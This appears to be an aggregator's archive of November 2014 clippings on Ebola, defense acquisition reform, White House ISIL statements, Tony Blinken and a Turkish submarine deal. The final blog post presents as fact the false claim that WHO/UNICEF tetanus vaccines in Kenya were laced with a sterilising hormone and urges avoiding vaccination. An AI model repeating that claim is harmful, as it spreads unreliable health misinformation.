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And because of the mistrust in the government and its slow response, the situation has become out of control, say responders to the crisis. "In the beginning, the sense of urgency wasn't there and now it's reached this tipping point where because of the lack of infrastructure, it's just too difficult," said Summers. "The government is playing catch-up and it's too difficult to catch up at this point."
Editor's Note: This post has been updated to reflect the number of victims of the current Ebola outbreak, as of September 16, 2014.
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Map: The Africa without Ebola - The Washington Post
Fri, 07 Nov 2014 07:46
Ebola is a frightening, unpredictable disease. Nearly 5,000 West Africans have died from the current outbreak with more than 13,000 people thought infected.
However, so far the problem remains largely limited to Liberia, Guinea and Sierra Leone. Two other countries, Nigeria and Senegal, have had cases, yet are now Ebola-free. The DR Congo had an outbreak of a different strain of Ebola that now looks like it might be contained. And while there has been one case of the disease in Mali, the patient died and no others have been confirmed at the time of writing -- though that may well change.
Despite clear geographical limits to the Ebola outbreak, many Americans seem confused. How else could you explain the recent Ebola scare that kept two children who had moved from Rwanda to New Jersey from attending school, despite the fact the East African country is Ebola-free (and further from West Africa than New Jersey is to Texas)? Or the resignation of a teacher in Kentucky due to a backlash to her traveling to Kenya? Or the significant cancellation of tourist trips to places like Kenya, Zimbabwe and South Africa?
These countries are nowhere near the West African countries where Ebola is actually a problem. Frustrated by this, Anthony England, a British chemist who earned a doctorate at Massachusetts Institute of Technology and has spent a significant amount of time in sub-Saharan Africa, decided to make a map to help explain what countries currently have Ebola cases and which don't. You can see the map above.
England has some relevant back story here as well: "I used to run scientific conferences in West Africa, to make leading scientific researchers, and problem solvers in general, in the West all the more aware of the pressing concerns of the developing world," he explains in an e-mail. While his company, Mangosteen, ultimately wound down almost 10 years ago, he now sees the Ebola outbreak as proof that the West needs to pay more attention to what happens in Africa.
"In the case of this Ebola outbreak, a problem which does not yet have a scientific solution and which started in a village in the developing world is actually visiting New York City and the West," he writes. "Eventually the rich world will realize that it makes no sense to leave one part of the world struggling in poverty with such terrible national infrastructures. Before it's done, this Ebola outbreak might teach them all that."
Ultimately, it was frustration that led England to make the map and share it on his Twitter account, which he uses to post information about Ebola. It has since spread around the Internet, with his initial post retweeted hundreds of times.
"Ignorance & misinformation is a big problem with Ebola. So a clueless Kentucky school causing the resignation of a teacher because she spent time in Kenya is just idiocy," he writes, "And that idiocy leads to fear which leads to people like Chris Christie implementing nonsensical anti-science quarantine restrictions. Ebola in the U.S. is becoming a farce."
Of course, there are some caveats to the map. England's decision to not include Mali or the DR Congo, despite the fact neither have been declared free of Ebola, has caused some thoughtful criticism. England writes that he understands the criticism, but his point still stands: "There are only 3 problem countries, and the world needs to know that," he explains.
It's a fair point. Africa is a vast, under-covered continent and Westerners often have trouble understanding its geography. Earlier this year, The Washington Post ran an online quiz that asked our readers to name African nations. The results were not heartening:
For added perspective, it's worth looking at a map first published in 2010 by cartographer Kai Krause. Keep it in mind when thinking of Ebola and Africa.
RELATED: The 7 ways in which Africa outperforms America
Adam Taylor writes about foreign affairs for The Washington Post. Originally from London, he studied at the University of Manchester and Columbia University.
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Acquisition Reform Seems More Like Industry Wish List
Sun, 09 Nov 2014 02:36
Acquisition Reform Seems More Like Industry Wish ListNovember 7, 2014
Come on, everyone's doing it! So true, but who would have thought ''it'' would include recommending improvements to the way the government buys goods and services? The latest cool kids in town are the New Democrat Coalition (NDC), who are the ''pro-growth, fiscally-responsible wing of the Democratic Party.''
In September, the NDC submitted acquisition reform recommendations to Representative Mac Thornberry (R-TX). Thornberry was selected by House Armed Services Committee Chairman ''Buck'' McKeon (R-CA) to identify ways to reform the Department of Defense and its acquisition processes, and he is the likely chair of the House Armed Services Committee.
Acquisition reforms proposed by the NDC have five main themes:
End sequestrationProtect and partner with contractorsHelp the overworked acquisition workforceAllow the workforce to specializeImprove the cultureThe Project On Government Oversight doesn't disagree with the basic concepts. Sequestration is resulting in non-strategic budget cuts. Contractors can provide innovative solutions. Competition is good for taxpayers. The workforce is stretched thin and more targeted caseloads will result in better buying. And government acquisition is a thankless job.
That said, some of the details for each theme seem more like the proposals advanced by contractors and industry squawk boxes than reforms that will help agencies provide savings or better results for taxpayers. The Professional Services Council (PSC), a contractor trade association, has even praised the NDC's reforms and thanked it for working with the industry. PSC has pushed for acquisition reform for years. The industry often uses the word crisis to describe federal acquisition and contracting, and asserts that the ''crisis'' will continue if pro-contractor reforms are not implemented.
For example, despite the Acquisition Advisory Panel (AAP) and the Department of Defense (DoD) imploring Congress to tighten restrictions on commercial item contracting, the NDC is actually recommending that commercial buying restrictions be eased'--in essence, adopting the contractors' talking point on the issue. The AAP even stated in its report that industry has tried to expand ''the definition of commercial services far beyond what the record indicates Congress and the FAR drafters intended.''
The basic premise of commercial buying was to force the government to buy goods that are offered in the phone book and at the local mall where competition already rules the day. Unfortunately, the government is buying a lot of ''commercial'' goods, and now services, that are not offered or actually sold anywhere but to the government, including military cargo planes, refueling tankers, and aircraft spare parts. Truth be told, the ''commercial item'' definition was developed by industry and enacted into law in the 1990s in order to prevent the government from obtaining cost or pricing data when adequate price competition'--which exists for actual commercial items'--does not exist. Simply stated, the government is buying goods and services that don't have a commercial market and now it doesn't have access to contractor data that would show whether or not we're getting a good deal. Would you buy a car without seeing the sticker price? I hope not'--but that's essentially what the government is doing with the goods and services labeled ''commercial.''
The NDC recommends expanding the definition of commercial, creating a ''government-industry working group to develop market research and price analysis tools/techniques,'' and restricting commercial item audits. Based on the number of DoD Inspector General audits that find contractors charging prices far above ''fair and reasonable'' prices, I hope those recommendations are rejected. DoD has purchased way too many screws or other spare parts that cost just a few cents in the actual commercial market, but for which contractors charged the government hundreds of dollars.
The NDC also recommends:
Cutting audits and contractor compliance measuresAllowing industry to create contract requirementsPermitting contractors to attend and teach government acquisition classesConverting permanent acquisition personnel positions to rotating positions, essentially weakening DoD oversight and policy officesBreaking out specific portfolios to allow experienced government professionals to make contracting decisionsThe last recommendation makes sense if the industry isn't allowed to cozy up too close to government purchasers. For example, the fear is that IT contracting officials might curry favor with prospective employers and the government might get a bad deal. However, the rest of the recommendations are more troubling and flat-out impractical.
Contract waste, fraud, and abuse cost taxpayers billions of dollars each year. The NDC's recommendations will most likely add to the problem. At the risk of sounding cynical, all of these recommendations seem like efforts to hamper federal contract planning, administration, and oversight, and to outsource all phases of acquisition to contractors. These recommendations are based on the false notion that the industry assumes all risk and compliance burdens. Nothing is further from the truth, and real acquisition reform will only move forward when senior policymakers come to the realization that the government should not be responsible for propping up an inflated industry, spending taxpayer money without full transparency and oversight, or allowing contractors to run every aspect of the acquisition process.
I often hear about best practices and the ease of buying in the commercial sector, but many of the industry-driven so-called reforms actually get rid of the best practices that businesses use daily, including thorough market research, clear requirement definitions, ample competition, and the use of fixed-priced contracts. POGO agrees with the NDC that the acquisition workforce is stretched thin, but the solution isn't to allow contractors to run the show'--didn't we learn anything when we ''partnered'' with industry and allowed contractors to decide what to buy and how to buy it as lead systems integrators? We should be investing in program and contracting personnel and focusing more on buying smarter, although that may not always be quicker or in a way that pleases contractors.
The Defense Department has its own thoughts on better buying, and is asking Congress to make buying easier. Anne Rung, the new head of the Office of Federal Procurement Policy at the Office of Management and Budget, wants to find ways to make contracting simpler. POGO supports those general concepts and would love to see contracting opened up to non-traditional contractors, but let's not throw out tools that help the government decide what to buy, how to buy it, and to oversee the $460 billion spent on contracts annually.
Scott Amey is General Counsel for the Project On Government Oversight. Some of Scott's investigations center on contract oversight, human trafficking, the revolving door, and ethics issues.
Topics:Contract Oversight
Related Content:Contractor Accountability, Defense
Authors:Scott H. Amey, J.D.
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Statement from Shaun Donovan, Director of the Office of Management and Budget | The White House
Sun, 09 Nov 2014 02:36
The White House
Office of the Press Secretary
For Immediate Release
November 07, 2014
The Obama Administration will request $5.6 billion for Overseas Contingency Operations (OCO) activities to degrade and ultimately defeat ISIL '' including military operations as part of Operation Inherent Resolve. This request updates our June OCO request to Congress for the Department of Defense (DOD) and the Department of State and Other International Programs.
The request includes $1.6 billion to establish an Iraq Train and Equip Fund to develop and support Iraqi Security Forces, including Kurdish forces, as they work with the Government of Iraq to confront ISIL. This funding will help reconstitute the Iraqi Army and strengthen the capability and capacity of our Iraqi partners to go on the offensive against ISIL.
In total, this request supports the strategy the President laid out in his address to the Nation on September 10. That comprehensive strategy identified a clear objective for the United States and its allies and partners: to degrade, and ultimately defeat, ISIL through a comprehensive and sustained counterterrorism campaign. Even with this additional request, total OCO funding for DOD is still approximately $20 billion less than the Department's enacted OCO funding last year '' continuing the downward trend in OCO spending as America's combat mission in Afghanistan concludes.
We believe this request is an opportunity for Congress and this Administration to work together to provide the additional resources needed to degrade and ultimately defeat ISIL and I look forward to working with Congress to secure this funding.
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FACT SHEET: The Administration's Strategy to Counter the Islamic State of Iraq and the Levant (ISIL) and the Updated FY 2015 Overseas Contingency Operations Request | The White House
Sun, 09 Nov 2014 02:39
The White House
Office of the Press Secretary
For Immediate Release
November 07, 2014
ISIL poses an immediate threat to Iraq, Syria, and American allies and partners throughout the region as it seeks to overthrow governments, control territory, terrorize local populations, and implement an oppressive and intolerant interpretation of sharia law. If left unchecked, ISIL could pose a growing threat to the United States and others beyond the region. Thousands of foreign fighters '' including Europeans and some Americans '' have joined ISIL in Syria and Iraq. We are concerned that these trained and battle-hardened fighters will try to return to their home countries and carry out deadly attacks. At the same time, ISIL is attempting to assert itself as the leader of the global jihad. ISIL remains well-resourced and has demonstrated an ability to recruit and radicalize through social media.
The United has built a global coalition of willing partners with the goal of degrading and ultimately defeating ISIL. The President has set forward a comprehensive strategy featuring nine lines of effort to counter ISIL:
Supporting Effective Governance in Iraq: We are supporting the new Iraqi government on efforts to govern inclusively and effectively as well as to strengthen its cooperation with regional partners. Denying ISIL Safe-Haven: We are conducting a systematic campaign of airstrikes against ISIL in Iraq and Syria. Working with the Iraqi government, we are striking ISIL targets and supporting Iraqi forces on the ground. We will degrade ISIL's leadership, logistical and operational capability, and deny it sanctuary and resources to plan, prepare and execute attacks.Building Partner Capacity: We will build the capability and capacity of our partners in the region to sustain an effective long-term campaign against ISIL. Our advisors are working to advise Iraqi forces, including Kurdish forces, to improve their ability to plan, lead, and conduct operations against ISIL, and we will provide training to help the Iraqis reconstitute their security forces and establish a National Guard. Our train and equip program will strengthen the Syrian moderate opposition and help the defend territory from ISIL.Enhancing Intelligence Collection on ISIL: Continuing to gain more fidelity on ISIL's capabilities, plans, and intentions is central to our strategy to degrade and ultimately destroy the group, and we will continue to strengthen our ability to understand this threat, as well as to share vital information with our Iraqi and Coalition partners to enable them to effectively counter ISIL. Disrupting ISIL's Finances: ISIL's expansion over the past year has given it access to significant and diverse sources of funding. So, we are working aggressively with our partners on a coordinated approach to reduce ISIL's revenue from oil and assets it has plundered; limit ISIL's ability to extort local populations; stem ISIL's gains from kidnapping for ransom; and disrupt the flow of external donations to the group. Exposing ISIL's True Nature: Clerics around the world have spoken up in recent weeks to highlight ISIL's hypocrisy, condemning the group's savagery and criticizing its self-proclaimed ''caliphate.'' We are working with our partners throughout the Muslim world to highlight ISIL's hypocrisy and counter its false claims of acting in the name of religion. Disrupting the Flow of Foreign Fighters: Foreign terrorist fighters are ISIL's lifeblood, and a global security threat'--with citizens of nearly 80 countries filling its ranks. On September 24, the President convened an historic Summit-level meeting of the UN Security Council, focused on this issue and we will continue to lead an international effort to stem the flow of fighters into Syria and Iraq.Protecting the Homeland: We will continue to use the criminal justice system as a critical counterterrorism tool, work with air carriers to implement responsible threat-based security and screening requirements, and counter violent extremism here at home. Humanitarian Support: We and our partners will continue to provide humanitarian assistance to the displaced and vulnerable in Iraq and Syria.Pursuing the nine lines of effort to advance the comprehensive strategy is a whole of government effort.
FY 2015 Overseas Contingency Operations (OCO) Amendment
The Administration will submit an updated FY 2015 OCO request to Congress for the Department of Defense (DOD), the Intelligence Community (IC), and the Department of State and Other International Programs (State/OIP). These amendments request $5.6 billion for OCO activities to degrade and ultimately defeat ISIL.
These OCO amendments would provide resources for DOD and State/OIP for operations and activities that were not anticipated when the Administration submitted its June 2014 OCO budget request.
Operation Inherent Resolve (OIR)
In support of OIR, the OCO amendments include $5.0 billion for DOD to conduct a range of military operations against ISIL in the Middle East region, which includes the $1.6 billion Iraq Train and Equip Fund. These operations directly support the components of the Administration's strategy that aim to deny ISIL a safe-haven and expand intelligence collection against ISIL. Funds include items such as:
sustaining personnel forward deployed to the Middle East to provide training, advice, and assistance to partner security forces engaged in the fight against ISIL; providing forces with enablers to support operations, especially the intelligence, surveillance, and reconnaissance (ISR) platforms and support that are essential to conduct comprehensive counterterrorism operations;replenishing or replacing munitions expended while conducting airstrikes against ISIL, including from Air Force and Navy platforms; andfinancing operations and maintenance costs for air, ground, and naval operations, including: flying hours; ship steaming days; and fuel, supplies, and repair parts. The proposed OCO funding is in addition to the $58.6 billion DOD OCO request sent to the Congress in June 2014, which included the costs of operations in Afghanistan, DOD's forward military presence in the broader Middle East region, and other critical missions. The costs of military operations against ISIL in the Middle East region were not included in the June 2014 request, and DOD requires additional funding in order to avoid diverting funding from other key priorities within its budget.
Building Partner Capacity
DOD's request supports the President's strategy in terms of building partner capacity with the $1.6 billion Iraq Train and Equip Fund (ITEF). ITEF will provide the resources to help reconstitute and develop security forces. The funding will allow for training at multiple sites throughout Iraq for approximately twelve Iraqi brigades. Coalition members will also play a critical role in the training of these forces. DoD will provide training, supplies, and equipment for Iraqi forces. ITEF will complement other efforts to enable partners to counter terrorism, such as the Counterterrorism Partnerships Fund (CTPF) requested as part of the Administration's June 2014 OCO request.
Funding for State/OIP
The amendments include $520 million in funding for State/OIP, which is in addition to the $7.3 billion total OCO request for State/OIP in the FY 2015 Budget and June OCO amendment including CTPF. The existing request provides funding for diplomacy, governance, and security programs and activities to respond to the situation in Syria and other ongoing global crises. This amendment includes additional resources to counter ISIL in Iraq, Syria, and the rest of the region '' directly linked to denying ISIL Safe Haven, Building Partner Capacity, Exposing ISIL's True Nature and Humanitarian Support lines of effort.
The funds will support the following activities:
Bolstering regional partners and their efforts to address extremist threats along their borders;Expanding ongoing assistance to the moderate Syrian opposition to develop their capacity to provide local security for communities;Providing assistance to meet emergency humanitarian needs in Iraq; andExposing ISIL's bankrupt ideology and narrative by amplifying positive messaging through international media and public diplomacy programs.
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Statement by National Security Advisor Susan E. Rice on the Nomination of Tony Blinken as Deputy Secretary of State | The White House
Sun, 09 Nov 2014 02:38
The White House
Office of the Press Secretary
For Immediate Release
November 07, 2014
Tony has served at the highest levels of government for two decades. In his time as Deputy National Security Advisor, Tony has built bridges across the interagency community to forge consensus on a broad range of challenging policy issues. He knows firsthand the critical contribution of expertise and leadership that agencies and their staffs bring to bear in shaping our foreign policy.
Tony has been a tremendous colleague and friend as long as I've known him, dating back to 1994. His experience, calm demeanor, inclusive approach, keen intellect, and excellent judgment make him an exceptionally qualified nominee for Deputy Secretary of State. I will sorely miss having his counsel only a short few feet away, but, if he is confirmed by the Senate, I know he will share his remarkable talents with the State Department, continue to play a leading role in representing the United States abroad, and shape our foreign policy to meet the challenges and seize the opportunities we face today.
Tony Blinken - Wikipedia, the free encyclopedia
Sun, 09 Nov 2014 02:38
Antony John 'Tony' Blinken (born April 16, 1962) has been the Assistant to the President of the United States and Deputy National Security Adviser for President Barack Obama, since January 25, 2013.[1]
He had served as a Senior Fellow at the Center for New American Security, Democratic Staff Director of the Senate Committee on Foreign Relations (from 2002 to 2008), and a member of the Obama-Biden Presidential Transition team (from November 2008 to January 2009), among other positions.
On November 7, 2014, President Obama announced that he would nominate Blinken to become the next Deputy Secretary of State, after the retirement of William Joseph Burns.[2]
Early life[edit]Blinken was born in Yonkers, New York, to Jewish parents Judith and Donald Blinken. He attended Dalton School in New York City until 1971, when he moved to Paris, France, with his divorced mother and her new husband, Holocaust survivor and lawyer, Samuel Pisar. Pisar, who had survived both the Auschwitz and Dachau, strongly influenced his views.[3]
He attended Harvard University, where he edited the daily student newspaper and co-edited the weekly art magazine. After earning his Bachelors degree, Blinken compromised on his career interests and took an internship at The New Republic, an American commentary magazine focused on politics and culture.[4] He then earned his J.D. at Columbia Law School, and soon after, Blinken became active in Democratic politics, helping his father fundraise for Michael Dukakis' 1988 presidential campaign. All the while '' during his academic pursuits and political activities '' he played guitar in a band and organized film festivals.
During the Clinton Administration in the 1990s, the then-assistant secretary of state for European and Canadian affairs hired Blinken, and White House speechwriter Robert Boorstin brought Blinken into the National Security Council. In 2008, Blinken worked for the presidential campaign of Senator Joseph Biden.[5][6] He also helped craft U.S. policy on Afghanistan, Pakistan and the Iranian nuclear program. In January 2013, President Obama appointed Blinken to the post of Deputy National Security Advisor. Blinken has also been a senior fellow at the Center for Strategic and International Studies in Washington, a foreign policy think tank.[3]
Personal life[edit]Blinken, who is Jewish,[4] married to Evan Ryan in a bi-denominational ceremony officiated by a rabbi and priest at Georgetown University in Washington, D.C.[7]
References[edit]^Obama Taps Second Tier of Security Team, Bryan Bender, Boston Globe, December 23, 2008^"Obama nominates his adviser Tony Blinken as Deputy Secretary of State". Reuters. Retrieved November 7, 2014. ^ ab"Antony "Tony" Blinken". Jewish Virtual Library. Retrieved 28 September 2013. ^ abHorowitz, Jason (September 20, 2013). "Antony Blinken steps into the spotlight with Obama administration role". The Washington Post. Retrieved 28 September 2013. ^Evan Ryan, WhoRunsGov, The Washington Post^WEDDINGS; Evan Ryan, Antony Blinken, The New York Times, March 3, 2002^Wedding announcement "WEDDINGS; Evan Ryan, Antony Blinken". The New York Times. March 3, 2002. Retrieved 28 September 2013. External links[edit]OfficeNameTermOfficeNameTermWhite House Chief of StaffWhite House Deputy Chief of Staff for Policy
Rahm EmanuelPete RouseWilliam M. DaleyJack LewDenis R. McDonoughMona SutphenNancy-Ann DeParleRob Nabors2009''102010''112011''122012''132013''2009''112011''132013''National Security AdvisorDeputy National Security Advisor
Deputy National Security Advisor for Iraq and Afghanistan
Jim JonesThomas E. DonilonSusan RiceThomas E. DonilonDenis McDonoughTony BlinkenDouglas Lute' 2009''102010''132013''2009''102010''132013''2009''13White House Deputy Chief of Staff for OperationsJim MessinaAlyssa MastromonacoAnita Decker Breckenridge2009''112011''142014''Deputy National Security Advisor for Strategic CommunicationsDeputy National Security Advisor for Homeland SecurityBen RhodesJohn O. BrennanLisa Monaco2009''2009''132013''White House Deputy Chief of Staff for PlanningMark B. ChildressKristie Canegallo2012''142014''Deputy National Security Advisor and NSC Chief of StaffDenis McDonoughBrooke Anderson2009''102011''Senior Advisor to the PresidentDavid AxelrodDavid PlouffeDaniel Pfeiffer2009''112011''132013''White House Communications DirectorDaniel PfeifferJennifer Palmieri2009''132013''Senior Advisor to the PresidentCounselor to the PresidentPete RousePete RouseJohn Podesta2009''102011''132014''Deputy White House Communications DirectorJen PsakiJennifer PalmieriAmy Brundage2009''112011''142014''Senior Advisor to the President andAssistant to the President forPublic Engagement and Intergovernmental AffairsDirector of Public EngagementDirector of Intergovernmental Affairs
Director, National Economic Council
Valerie JarrettChristina TchenJon CarsonPaulette AniskoffCecilia Mu±ozDavid AgnewJerry AbramsonLawrence SummersGene SperlingJeffrey Zients
2009''2009''112011''132013''2009''122012''142014''2009''102011''142014''
White House Press SecretaryDeputy Press Secretary
Director of Special ProjectsDirector of Speechwriting
White House Counsel
Robert GibbsJay CarneyJosh EarnestBill BurtonJosh EarnestStephanie CutterJon FavreauCody KeenanGreg CraigRobert BauerKathryn RuemmlerW. Neil Eggleston2009''112011''132013''2009''112011''132010''112009''132013''2009''102010''112011''142014''Deputy Director, National Economic CouncilDeputy Director, National Economic CouncilChair of the President's Economic Recovery Advisory Board
Diana FarrellBrian DeeseJason FurmanPaul Volcker2009''112011''132009''132009''11Assistant to the President for Legislative AffairsPhil SchiliroRob NaborsMiguel RodriguezKatie Fallon2009''112011''1320132013''Chair of the Council of Economic AdvisorsChristina RomerAustan GoolsbeeJason Furman2009''102010''132013''Deputy Assistant to the President for Legislative AffairsLisa KonwinskiAmy Rosenbaum2009''2014''Member of the Council of Economic AdvisorsKatharine Abraham2011''Executive ClerkGeorge T. Saunders' David Kalbaugh2009''122012''Member of the Council of Economic AdvisorsCecilia Rouse2009''Director, Office of Political AffairsPatrick GaspardDavid Simas2009''112013''Director, Office of Management and BudgetPeter R. OrszagJack LewJeffrey ZientsSylvia Mathews BurwellBrian DeeseShaun Donovan2009''102010''122012''132013''1420142014''Chief Technology OfficerChief Information Officer
Aneesh ChopraTodd ParkMegan SmithVivek KundraSteven VanRoekel2009''122012''142014''2009''112011''14Chief Performance Officer and Deputy Director for Management, Office of Management and BudgetJeffrey Zients2009''13Director, Office of Presidential PersonnelNancy HoganJohnathan McBride2010''142014''Deputy Director, Office of Management and BudgetJeffrey LiebmanHeather HigginbottomBrian Deese20102011''132013''Director of Scheduling and AdvanceDirector, White House Military Office
Alyssa MastromonacoDanielle White CrutchfieldGeorge D. Mulligan, Jr.Emmett Beliveau2009''112011''2009''132013''United States Trade RepresentativeRon KirkMichael Froman2009''132013''Cabinet SecretaryChris LuBroderick Johnson2009''132013''Director, Domestic Policy CouncilMelody BarnesCecilia Mu±oz2009''122012''Deputy Cabinet SecretaryLiz Sears Smith2009''Deputy Director, Domestic Policy CouncilHeather HigginbottomMark Zuckerman2009''112011''Staff SecretaryLisa BrownRajesh DeDouglas KramerJoani Walsh2009''112011''122012''132014''Director, Office of Faith-Based and Neighborhood PartnershipsJoshua DuBois2009''Assistant to the President for Management and AdministrationBradley KileyKaty Kale2009''132013''Director, Office of Health ReformNancy-Ann DeParle2009''11Director, Oval Office OperationsMicaela FernandezBrian Mosteller2009''122012''Deputy Director, Office of Health ReformJeanne Lambrew2009''Personal Aide to the PresidentReggie LoveMarvin Nicholson2009''112011''Director, Office of Energy and Climate Change PolicyCarol Browner2009''11Personal Secretary to the PresidentKatie JohnsonAnita Decker BreckenridgeFerial Govashiri2009''112011''142014''Deputy Assistant to the President for Energy and Climate ChangeHeather Zichal2009''Special Projects Coordinator and Confidential Assistant to the PresidentEugene Kang2009''Director, Council on Environmental QualityDirector, Office of National AIDS PolicyNancy SutleyJeffrey Crowley2009''2009''Chief of Staff to the First Lady Jackie NorrisSusan SherChristina Tchen20092009''102011''Director, Office of National Drug Control PolicyGil KerlikowskeMichael Botticelli (acting)2009''142014''White House Social SecretaryDesir(C)e RogersJulianna SmootJeremy Bernard2009''102010''112011''Director, Office of Urban AffairsAdolfo Carri"n, Jr.2009''Director, Office of Science and Technology PolicyJohn Holdren2009''PersondataNameBlinken, TonyAlternative namesShort descriptionAmerican politicianDate of birthApril 16, 1962Place of birthNew York City, New York, U.S.Date of deathPlace of death
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Statement by the Press Secretary on the Deployment of Additional U.S. Military Personnel to Iraq | The White House
Sun, 09 Nov 2014 02:37
The White House
Office of the Press Secretary
For Immediate Release
November 07, 2014
One of the pillars of the United States' counter-ISIL strategy is building the capacity of local forces to take the fight to ISIL. We have been providing this support for Iraqi Security Forces through advise and assist programs; through the provision of weapons, equipment, and intelligence; and through airstrikes with our coalition partners to enable our Iraqi partners' success. As a part of our strategy for strengthening partners on the ground, President Obama today authorized the deployment of up to 1500 additional U.S. military personnel in a non-combat role to train, advise, and assist Iraqi Security Forces, including Kurdish forces. The President also authorized U.S. personnel to conduct these integral missions at Iraqi military facilities located outside Baghdad and Erbil. U.S. troops will not be in combat, but they will be better positioned to support Iraqi Security Forces as they take the fight to ISIL.
The President took these decisions at the request of the Iraqi Government and upon the recommendation of Secretary Hagel and his military commanders based upon the assessed needs of the Iraqi Security Forces. This mission will be undertaken in coordination with multiple coalition partners and will be funded through the request for an Iraq Train and Equip fund that the Administration will submit to Congress.
In recent weeks ISIL has suffered a series of defeats in Iraq against the Iraqi Security Forces and Peshmerga, with the support of U.S. and coalition air strikes and Intelligence, Surveillance and Reconnaissance, as well as U.S. military advice. The United States and its coalition partners will continue to confront the threat of ISIL with strength and resolve as we seek to degrade and ultimately defeat ISIL through a comprehensive and sustained counterterrorism campaign. The President values the dedication and valor of the American servicemen and women whom he asks to carry out this mission on behalf of the American people.
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Turkish-German Submarine Deal Faces Setbacks | C4ISR & Networks | c4isrnet.com
Sun, 09 Nov 2014 02:57
ANKARA '-- Turkey's largest ever single naval contract, a US $3.5 billion deal with a German shipyard for the co-production of six submarines, is facing major delays and disputes over modality, Turkish officials and industry sources said.
''We are in talks with our German partners to iron out differences and put the program back on track,'' a senior procurement official familiar with the program said.
The official admitted the program is facing delays, but declined to comment on the reasons behind them.
In 2009, the Turkish government sealed the deal with Howaldtswerke-Deutsche Werft (HDW), a subsidiary of ThyssenKrupp Marine Systems, based in Kiel, to co-produce six U 214-type diesel submarines for the Turkish Navy. The subs would be manufactured at a naval shipyard in Golcuk, northwestern Turkey.
Another procurement official said ''a set of setbacks'' has delayed the program but did not elaborate, other than citing ''technical reasons.'' ''I do not think the program can meet the original timetable,'' he said.
A spokesman for HDW was unavailable for comment as of press time.
Production was to start in 2011, and the first sub delivered in 2015.
There has been speculation in Ankara that the Turkish government was unable to cancel the contract due to delays or impose sanctions on the German shipyard because it felt threatened by years of German eavesdropping on Turkey's top officials.
In August, the German newspaper Der Spiegel cited a confidential German intelligence document that revealed Germany's Federal Intelligence Service had spied on Turkey since 2009.
There were no details on the scale of wiretapping, but in August the Turkish Foreign Ministry said the allegations were ''worrisome.'' It summoned the German ambassador to Ankara, Eberhard Pohl, for an explanation. Berlin since then has not officially denied the allegations.
''[Accusations of] blackmailing between us the allies is pure fantasy,'' a German diplomat in Ankara said. ''We are working hard to make sure the submarine program progresses and ends as planned.''
A Turkish diplomat denied Ankara was being blackmailed by Berlin in a ''submarine delays vs. tapes'' deal. ''That's a particularly bad conspiracy theory,'' he said.
But one senior industry source, a specialist in naval contracts, said: ''I wouldn't be so sure about comfortably waving off the claims.'' He did not comment further.
After Turkey selected HDW and its Britain-based partner, Marine Force International LLP, contract negotiations saw tough bargaining over price, local content and the integration of some Turkish systems on the submarines. HDW had defeated France's DCNS and Spain's Navantia.
In 2011, a team of Turkish and German companies, supported by Turkey's procurement office, the Undersecretariat for Defense Industries, sought unsuccessfully to sell two HDW-built U 209-type diesel submarines to Indonesia in a $1 billion deal. The Turkish team was competing with South Korea's Daewoo Shipbuilding and Marine.
Turkey earlier built 14 U 209-type submarines with the German company. '–
Deanne Corbett in Berlin contributed to this report.
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Vaccine$
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UPDATED: Did the Kenyan Bishops Just Expose WHO & UNICEF?
Sat, 08 Nov 2014 23:28
Yesterday, the Bishops of Kenya issued what appeared to be a courageous statement exposing a clandestine population control program disguised as a tetanus vaccine program.
From their findings -
2. The Tetanus VaccineDear Kenyans, due to the direction the debate on the ongoing Tetanus Vaccine campaign in Kenya is taking, We, the Catholic Bishops, in fulfilling our prophetic role, wish to restate our position as follows:
The Catholic Church is NOT opposed to regular vaccines administered in Kenya, both in our own Church health facilities and in public health institutions.However, during the second phase of the Tetanus vaccination campaign in March 2014, that is sponsored by WHO/UNICEF, the Catholic Church questioned the secrecy of the exercise. We raised questions on whether the tetanus vaccine was linked to a population control program that has been reported in some countries, where a similar vaccine was laced with Beta- HCG hormone which causes infertility and multiple miscarriages in women.On March 26, 2014 and October 13, 2014, we met the Cabinet Secretary in-charge of health and the Director of Medical Services among others and rasied our concerns about the Vaccine and agreed to jointly test the vaccine. However the ministry did not cooperate and the joint tests were not doneThe Catholic Church struggled and acquired several vials of the vaccine, which we sent to Four unrelated Government and private laboratories in Kenya and abroad.We want to announce here, that all the tests showed that the vaccine used in Kenya in March and October 2014 was indeed laced with the Beta- HCG hormone.On 13th of October 2014, the Catholic Church gave copies of the results to the cabinet secretary and the Director of Medical Services. The same was emailed to the Director of Medical Services on October 17, 2014.Based on the above grounds, We, the Catholic Bishops in Kenya, wish to State the following:
That we are shocked at the level of dishonesty and casual manner in which such a serious issue is being handled by the Government.That a report presented to the Parliamentary Committee on Health November 4, 2014 by the Ministry of Health, claiming that the Government had tested the Vaccine and found it clean of Beta- HCG hormone, is false and a deliberate attempt to distort the truth and mislead 42 million Kenyans.That we are dismayed by attempts to intimidate and blackmail medical professionals who have corroborated information about the vaccine, with threats of disciplinary action. We commend and support all professionals who have stood by the truth.That we shall not waver in calling upon all Kenyans to avoid the tetanus vaccination campaign laced with Beta-HCG, because we are convinced that it is indeed a disguised population control programme.The level of deception and disregard for human dignity on the part of WHO & UNICEF is chilling. Here's yet another case of a powerful entities deciding that they know what's best for an individual without even consulting her.
These actions shake any trust in genuine health care. After all, this is a tetanus shot laced with Beta-HCG hormone to cause infertility and miscarriages. The shot that's supposed to protect a woman from a serious infection, let's say, from a rusty nail or some other puncture wound, is now robbing her of her ability and decision to have children.
Even in the developed countries, where we are contracepting ourselves out of existence, infertility carries a stigma. A woman is still supposed to be able to have a baby if she wants one.
In the developing countries, a woman's fertility generally is still considered to be a good thing, a blessing even, so much so that women who suffer from infertility are often stigmatized and shunned, considered unequal among other women.
If the Bishops statement is true, WHO and UNICEF have robbed these women of one of their most basic rights and cherished gifts. If it's true, these health organizations may have just created a climate in which general health care will be shunned by people who '' rightly '' do not want to have their bodies manipulated by the very organizations that should be promoting health in accord with human dignity.
I hope the Bishops release their findings so that more light can be shed on the situation. At the moment, it's so awful that even I have run out of words.
UPDATE: MaterCare.org corroborates the Kenyan Bishops' statement. Of particular note -
Our concern and the subject of this discussion is the WHO/UNICEF sponsored tetanus immunization campaign launched last year in October ostensibly to eradicate neonatal tetanus. It is targeted at girls and women between the ages of 14 '' 49 (child bearing age) and in 60 specific districts spread all around the country. The tetanus vaccine being used in this campaign has been imported into the country specifically for this purpose and bears a different batch number from the regular TT. So far, 3 doses have been given '' the first in October 2013, the second in March 2014 and the third in October 2014. It is highly possible that there are two more doses to go.
Giving five doses of tetanus vaccination every 6 months is not usual or the recommended regime for tetanus vaccination. The only time tetanus vaccine has been given in five doses is when it is used as a carrier in fertility regulating vaccines laced with the pregnancy hormone '' Human Chorionic Gonadotropin (HCG) developed by WHO in 1992.
